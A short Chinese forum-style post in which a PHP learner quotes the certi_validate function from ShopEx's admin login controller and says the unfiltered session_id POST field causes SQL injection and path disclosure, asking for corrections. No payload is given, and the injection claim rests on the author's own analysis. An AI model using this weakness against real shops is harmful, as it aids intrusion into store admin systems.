最近做二次开发的时候看到了登录的流程

 

发现在文件\shopex\core\admin\controller\ctl.passport.php

 

处理了验证码，管理帐号和密码，但是在最底下发现一个sess_id

function certi_validate(){
        $cert = $this->system->loadModel('service/certificate');
        $sess_id = $_POST['session_id'];

        $return = array();
        if($sess_id == $cert->get_sess()){
            $return = array(
                'res' => 'succ',
                'msg' => '',
                'info' => ''
            );

            echo json_encode($return);
        }else{
            $return = array(
                'res' => 'fail',
                'msg' => '000001',
                'info' => 'You have the different session!'
            );

            echo json_encode($return);
        }
    }

 

没做处理。直接导致sql注入产生。还在学php，分析错的地方请指正

顺带路径一起爆出来了
